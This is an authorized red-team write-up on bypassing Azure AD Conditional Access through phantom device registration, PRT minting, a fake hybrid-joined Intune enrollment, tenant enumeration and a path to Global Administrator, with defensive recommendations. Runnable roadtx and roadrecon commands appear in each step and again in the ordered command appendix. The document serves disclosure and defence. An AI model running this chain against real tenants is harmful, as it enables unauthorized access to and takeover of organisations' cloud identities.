One Password, No Device, Full Tenant: Dismantling Azure AD Conditional Access Through Device Identity Abuse

Summary

Howler Cell conducted authorized red team operations against a production enterprise Microsoft Entra ID tenant (~16,000 users, ~82,000 devices, 78 Conditional Access policies). Starting from a single set of valid user credentials blocked by Conditional Access, the engagement produced a full bypass chain:

• Phantom device registration

• Primary Refresh Token minting

• Intune compliance without a real device

• Enterprise application exfiltration

• On-premises-to-cloud privilege escalation path mapped to Global Administrator.

No corporate endpoint was touched. No malware was deployed. The vulnerability is not in any single component. It is in the trust chain between them.

Key Findings

• A valid credential blocked by Conditional Access is not a dead end. The Device Registration Service endpoint was unprotected by enforcement-mode policies, providing an authentication path that CA did not block. This is the same entry vector Storm-2372 operationalized at scale beginning in August 2024. Storm-2372 is a suspected Russian state-aligned threat actor tracked by Microsoft, assessed with moderate confidence to act in Russia's interests. The group has targeted governments, NGOs, defense contractors, telecommunications providers, healthcare organizations, and energy sector entities across Europe, North America, Africa, and the Middle East.

• The Device Registration Service (DRS) does not validate whether the caller is a real Windows machine. It validates the token. A single roadtx device join command registered a phantom device with a signed Azure AD certificate and private key - no TPM, no hardware verification, no admin approval required. MITRE ATT&CK: T1098.005: Account Manipulation: Device Registration.
• Two Conditional Access policies, if moved from Report-Only to Enabled, would have broken the entire attack chain before step three. CA032-001 (Block Device Code Flow) and CA027-001 (MFA for Device Registration) were both present, logged, and unenforced. Report-Only policies are not security controls. They are acknowledged gaps with timestamps.
• Intune compliance was achieved without a compliant device. The phantom machine, running on a Linux laptop with no BitLocker, no Secure Boot, no TPM, and no AV, was marked compliant because Intune's evaluation logic treated missing health attestation responses as "not applicable" rather than non-compliant. Device compliance is self-reported. There is no external validation unless Health Attestation is explicitly required.
• One enterprise application download exposed internal infrastructure. A single .intunewin package contained a deployment script referencing an internal UNC path (\\INTSVR01\AdminPoint\setup.exe), revealing internal server naming conventions, administrative share structure, and network architecture - the kind of intelligence that normally requires weeks of post-compromise lateral movement.
• 255 on-premises AD-synced accounts held privileged directory roles, including two Global Administrators and a Privileged Role Administrator. Compromising on-premises AD produces a direct path to complete cloud tenant takeover. No cloud-specific exploit required.

The Credential Your Attacker Already Has

Initial access brokers sell Azure AD credentials on criminal markets today. Listings routinely include organization name, employee count, revenue range, access type, and price. A standard user account for a mid-size enterprise trades for a few hundred dollars in cryptocurrency. The buyer does not need to conduct a phishing campaign or run a password spray. They open a browser, complete a transaction, and sit down in front of the same locked door this research started from.

The locked door in this case was a mature enterprise Azure AD deployment with over 60 Conditional Access policies. The direct authentication path blocked immediately with AADSTS53003. The credentials were valid. The delivery mechanism was wrong.

The question Howler Cell set out to answer: starting from valid credentials explicitly blocked by Conditional Access, how far does the attack chain go?

The answer: all the way to Global Administrator, from a coffee shop, with no corporate device and no malware.

The Attack Chain

Step 1: Initial Access

Valid credentials were obtained but blocked by Conditional Access (AADSTS53003).

Step 2: Finding an Authentication Path That CA Allows 

Different Azure AD authentication flows can be targeted individually by Conditional Access policies. The Resource Owner Password Credentials (ROPC) grant was blocked. The device code flow, which targets the Device Registration Service endpoint rather than the standard token endpoint, was not.

Storm-2372, a suspected Russian state-aligned threat actor assessed by Microsoft with moderate confidence to align with Russian interests and tradecraft, exploited the same gap at scale throughout 2024 and into 2025. The group targets government, NGO, defense, IT services, telecommunications, healthcare, higher education, and energy organizations across Europe, North America, Africa, and the Middle East.

Their campaigns sent phishing lures mimicking Microsoft Teams and other messaging platforms, directing victims to microsoft.com/devicelogin and capturing the resulting tokens. Microsoft confirmed in February 2025 that Storm-2372 had evolved the technique further: requesting tokens using the Microsoft Authentication Broker client ID specifically to enable downstream device registration and PRT acquisition. The same client ID (29d9ed98-a469-4536-ade2-f981bc1d605e) appears in the tooling used in this engagement.

MITRE: T1078.004: Valid Accounts: Cloud Accounts | T1621: MFA Request Generation

The DRS token inspection confirmed MFA authentication. The device registration endpoint was reachable. The policy governing it, CA027-001, was in Report-Only mode.

Token obtained successfully.
User Principal Name: researcher.ext@howlermonkey.com
Auth Methods: ["pwd", "mfa"]

Step 3: Registering a Phantom Device 

Azure AD device join works like this: the client generates an RSA keypair, constructs a Certificate Signing Request, and submits it to the DRS endpoint with a valid access token. Azure AD signs the certificate and registers the device. The device now has a cryptographic identity that can be used to request Primary Refresh Tokens.

The security assumption is that only legitimate, IT-managed devices go through this process. The DRS API does not validate whether the caller is a real Windows machine.

roadtx device -a join -n YOURPC-PC01

Generating device RSA key pair...
Registering device YOURPC-PC01...
Device registration successful.
Device ID:    defdecb0-XXXX-XXXX-XXXX-XXXXXXXXXXXX
Certificate:  YOURPC-PC01.pem
Private Key:  YOURPC-PC01.key

One command. Azure AD now believes YOURPC-PC01 is a legitimate Azure AD-joined Windows endpoint.

The CA policy governing device registration, CA027-001, was in Report-Only mode. It logged what would have happened. It blocked nothing.

MITRE: T1098.005: Account Manipulation: Device Registration | T1556.009: Modify Authentication Process: Conditional Access Policies

Step 4: Minting a Primary Refresh Token

A Primary Refresh Token is the authentication crown jewel of Windows device identity in Azure AD. When a user signs into a domain-joined machine, the device's TPM-backed certificate is used to request a PRT. The PRT is cached and used silently by the Windows Web Account Manager broker to obtain access tokens for any resource.

PRTs carry device claims. When exchanged for an access token, that token includes deviceid and amr: rsa, indicating certificate-based device authentication. These claims are what Conditional Access evaluates when enforcing "Require compliant device" or "Require Azure AD joined device."

With the phantom device certificate and valid credentials, a PRT was requested, emulating what Windows does during user sign-in:

roadtx prt -a request -c YOURPC-PC01.pem -k YOURPC-PC01.key \
    -u researcher.ext@howlermonkey.com

PRT request successful.
PRT saved to: roadtx.prt
Session key saved.

The resulting PRT, functionally equivalent to what sits in a real machine's TPM-protected credential store, lived in a plaintext file on a Linux laptop.

Token exchange produced the critical comparison:

Auth Methods:  ["pwd", "rsa"]    ← device-authenticated
Device ID:     defdecb0-XXXX

vs.

Error: AADSTS53003: Access has been blocked by Conditional Access policies.

Same user. Same password. The device claims opened the door.

MITRE: T1550.001: Use Alternate Authentication Material: Application Access Token

Step 5: Conditional Access Bypassed

The PRT exchanged for a valid Azure AD Graph token carrying device claims. The same user credentials that triggered AADSTS53003 on direct authentication now produced a token with amr: [pwd, rsa] and a deviceid claim. Every CA policy requiring a joined or compliant device evaluated the token as compliant. The door opened.

MITRE: T1078.004: Valid Accounts: Cloud Accounts

Step 6: Full Tenant Enumeration

With a valid PRT-derived Graph token, ROADrecon enumerated the tenant completely.

Gathering users... [16,123 users]
Gathering groups...       [39,254 groups]
Gathering devices...      [82,171 devices]
Gathering applications... [1,560 applications]
Gathering role members... [612 role assignments]

Conditional Access policy analysis against the collected database showed the full scope of the report-only gap:

Two of the 13 report-only policies were directly relevant to the chain that produced this access.

Scattered Spider (also tracked as UNC3944, Octo Tempest, and Muddled Libra) is a financially motivated cybercriminal group active since at least 2022, believed to consist primarily of native English speakers based in the US, UK, and Canada. The group is known for aggressive social engineering against IT helpdesks, SIM swapping, and deep operational familiarity with enterprise cloud platforms including Azure AD, Okta, and AWS.

They have targeted telecommunications, gaming, hospitality, retail, insurance, and financial services organizations, often acting as an initial access broker enabling ransomware deployment. During their 2023 MGM Resorts intrusion, Scattered Spider used Azure AD directory access to map privileged identities before moving to data exfiltration and ransomware deployment. The scale of what a standard user credential unlocks in an insufficiently constrained tenant is not a theoretical concern.

MITRE: T1087.004: Account Discovery: Cloud Account | T1526: Cloud Service Discovery

Step 7: Intune Enrollment Bypass

Many CA policies in this environment required a compliant device, not just an Azure AD-joined device. Compliance is evaluated by Intune MDM. The next step was Intune enrollment.

Direct enrollment blocked immediately: the tenant had enrollment restrictions requiring pre-registered or Autopilot devices.

Intune enrollment restrictions have a documented gap. Devices claiming hybrid domain-join status are often exempt from pre-registration requirements because hybrid join is managed by AD Connect and is treated as an IT-controlled process. Intune does not validate that the device actually exists in on-premises Active Directory or that AD Connect synced it. It trusts the client's self-declared domain membership at enrollment.

roadtx intune enroll -n BYPASS-WIN01 \
    --service-host hmk.yout03.manage.microsoft.com:443 \
    --hybrid-domain megacorp.com

Enrollment successful.
Device ID: 246f7c35-XXXX-XXXX-XXXX-XXXXXXXXXXXX

 MITRE: T1556.007: Modify Authentication Process: Hybrid Identity 

Step 8: Achieving Compliance Without a Real Device

After enrollment and sync, the compliance check returned:

Device Name:  BYPASS-WIN01
OS:           Windows
Compliance:   Compliant
Management:   MDM

The device was running on a Linux laptop with no BitLocker, no Secure Boot, no TPM, and no real AV.

Intune queried 49 DMClient nodes during compliance evaluation, including health attestation data, BitLocker status, Secure Boot state, and Windows Defender status. The phantom device returned empty or default values for all of them. Compliance was granted.

The root cause: compliance policies were configured to check these values, but the evaluation logic treated missing responses as "not applicable" rather than "non-compliant." This is a design choice made for heterogeneous fleet compatibility. The default posture is permissive.

Device compliance rests on self-reporting. Intune asks the device "are you encrypted?" and the device says "yes," or says nothing, which is treated as acceptable. Microsoft Health Attestation Service (HAS) can provide external validation, but it was not required in this environment.

Step 9: Application Exfiltration

With a compliant device, the Intune Management Extension channel opened. Three Win32 applications were assigned to the device. One was available and downloaded successfully.

[1/3] ACME_PDF_Reader_Pro_W11.intunewin - downloading (145MB)...
Decrypting... extracting...
Saved to: output/userapps/ACME_PDF_Reader_Pro_W11.intunewin

The .intunewin format is an encrypted ZIP. The IME protocol provides the decryption key during the download handshake.

The deployment script inside the package referenced:

Execute-Process -Path "\\INTSVR01\AdminPoint\setup.exe"

One application download exposed:
•    Internal server hostname and naming convention
•    Administrative share structure indicating a software distribution point
•    Network architecture implying flat segmentation or broad VPN access

Infrastructure intelligence of this quality normally requires weeks of post-compromise lateral movement. It was inside a single application package.

MITRE: T1530: Data from Cloud Storage

The Privilege Escalation Path: On-Premises to Cloud Admin

Independent of the device identity chain, the ROADrecon database exposed a structural hybrid identity risk. The directory contained 255 accounts with on-premises AD synchronization holding privileged directory roles. This included:

•    2 of 6 Global Administrators synced from on-premises AD
•    1 Privileged Role Administrator synced from on-premises AD
•    Multiple Application Administrators, Authentication Administrators, Exchange Administrators
•    Only 3 break-glass accounts were cloud-only (correct posture)

The escalation chain:

Step 1: Compromise on-prem AD
        Obtain credentials for synced Privileged Role Administrator
        |
        v
Step 2: Assign "Privileged Authentication Administrator" role
        to attacker-controlled account
        |
        v
Step 3: Reset password of synced Global Admin
        (Priv Auth Admins can reset ANY user's password, including Global Admins)
        |
        v
Step 4: Sign in as Global Administrator
        -> 14,360 users, 1,380 applications, 61 CA policies
        -> Complete tenant takeover

Ransomware operators, including Scattered Spider/UNC3944, a financially motivated English-speaking group known for cloud identity attacks against high-profile enterprises, have used on-premises AD compromise as the on-ramp to Azure tenant takeover across multiple intrusions in 2023 and 2024. The path does not require a single cloud-native exploit. It requires owning Active Directory.

Additionally, four service principals held active credentials combined with Directory.ReadWrite.All or User.ReadWrite.All permissions. Client credential flows bypass all user-targeted Conditional Access policies entirely - no MFA, no device compliance, no risk evaluation. If any of those application secrets were exposed in configuration files, CI/CD pipelines, or integration platforms, an attacker could reset any user's password, create backdoor admin accounts, and manipulate the full directory.

MITRE: T1078.002: Valid Accounts: Domain Accounts | T1484: Domain Policy Modification | T1098.001: Additional Cloud Credentials

Defensive Analysis and Recommendations

The Kill Chain and Where to Break It

The Report-Only Trap

Report-only policies are not a defensive posture. They are a measurement tool being confused for a control. Every report-only policy in a security-critical category - device registration, device code flow blocking, risk-based MFA - should have a documented enforcement timeline. Treat report-only policies as acknowledged, unmitigated risks with deadlines.

The Device Trust Model

Azure AD's device trust model rests on self-attestation. The device registers itself, reports its own health, and Intune evaluates compliance on self-reported data. The only external validation mechanism is Health Attestation via the Microsoft Health Attestation Service. In this environment, it was not required.

To strengthen device trust:

• TPM attestation: Require TPM 2.0 for device join and PRT issuance.
• Health Attestation: Require DHA-based compliance evaluation that verifies boot state via signed measurements external to the device.
• Autopilot hardware hash: Pre-register hardware identities before enrollment is permitted.
• Anomaly detection: Alert on devices achieving compliance from unexpected locations or suspiciously quickly after enrollment.

Hybrid Identity Risk

No Conditional Access policy mitigates synced privileged accounts. If on-premises AD is compromised, those accounts provide direct cloud access. Every privileged directory role - Global Admin, Privileged Role Admin, Privileged Auth Admin, Security Admin - should be held exclusively by cloud-only accounts managed through Privileged Identity Management (PIM) with just-in-time activation and approval workflows.

Conclusion

Conditional Access works when all policies are enforced, device trust is externally validated, and privileged identities are architecturally separated from on-premises compromise paths.

The core vulnerability documented here is not in any single component. Azure AD trusts device certificates. Conditional Access trusts device claims. Intune trusts self-reported compliance. Each link in the chain assumes the previous link was validated. The attacker exploits the gaps between those assumptions.

Starting from a single credential blocked by Conditional Access, this engagement reached full tenant enumeration, manufactured compliance, extracted enterprise application packages, and mapped a four-step path to Global Administrator. The tools used (ROADtools, TokenTacticsV2, GraphRunner, AzureHound) are publicly available, well-documented, and actively used by threat actors operating today.

The fix is not more policies. It is ensuring existing policies are enforced, device trust is externally validated, and privileged identities are protected from cross-domain compromise.

Appendix A: Tool Reference

Appendix B: Command Reference

All commands used in this research, in execution order:

# 1. Initial authentication attempt (blocked by CA)
roadtx gettokens -u researcher.ext@howlermonkey.com -p '[REDACTED]' \
    -r https://graph.windows.net
 
# 2. Device code flow to Device Registration Service
roadtx gettokens --device-code \
    -r urn:ms-drs:enterpriseregistration.windows.net
 
# 3. Token inspection
roadtx describe < .roadtools_auth
 
# 4. Device registration (Azure AD Join)
roadtx device -a join -n YOURPC-PC01
 
# 5. PRT request using device certificate
roadtx prt -a request -c YOURPC-PC01.pem -k YOURPC-PC01.key \
    -u researcher.ext@howlermonkey.com -p '[REDACTED]'
 
# 6. PRT exchange for AAD Graph token
roadtx prtauth -f roadtx.prt -r https://graph.windows.net \
    --tokens-file .roadtools_auth_device
 
# 7. Full tenant enumeration
roadrecon gather --tokens-file .roadtools_auth_device -d roadrecon.db
 
# 8. Policy analysis
roadrecon plugin policies -d roadrecon.db
 
# 9. Intune service discovery
roadtx gettokens --device-code \
    -r https://enrollment.manage.microsoft.com/ \
    -c 29d9ed98-a469-4536-ade2-f981bc1d605e
 
# 10. Intune enrollment (hybrid domain bypass)
roadtx intune enroll -n BYPASS-WIN01 \
    --service-host hmk.yout03.manage.microsoft.com:443 \
    --hybrid-domain megacorp.com
 
# 11. Device sync
roadtx intune sync BYPASS-WIN01.rtdevice
 
# 12. Compliance check
roadtx intune listdevices BYPASS-WIN01.rtdevice
 
# 13. Application download
roadtx intune installapp BYPASS-WIN01.rtdevice --all
roadtx intune sync BYPASS-WIN01.rtdevice
roadtx intune imesync BYPASS-WIN01.rtdevice

This engagement was conducted under authorized terms against a production enterprise tenant with all entity names, identifiers, and infrastructure details anonymized. All techniques are documented for defensive awareness and security improvement. Responsible disclosure was performed prior to publication.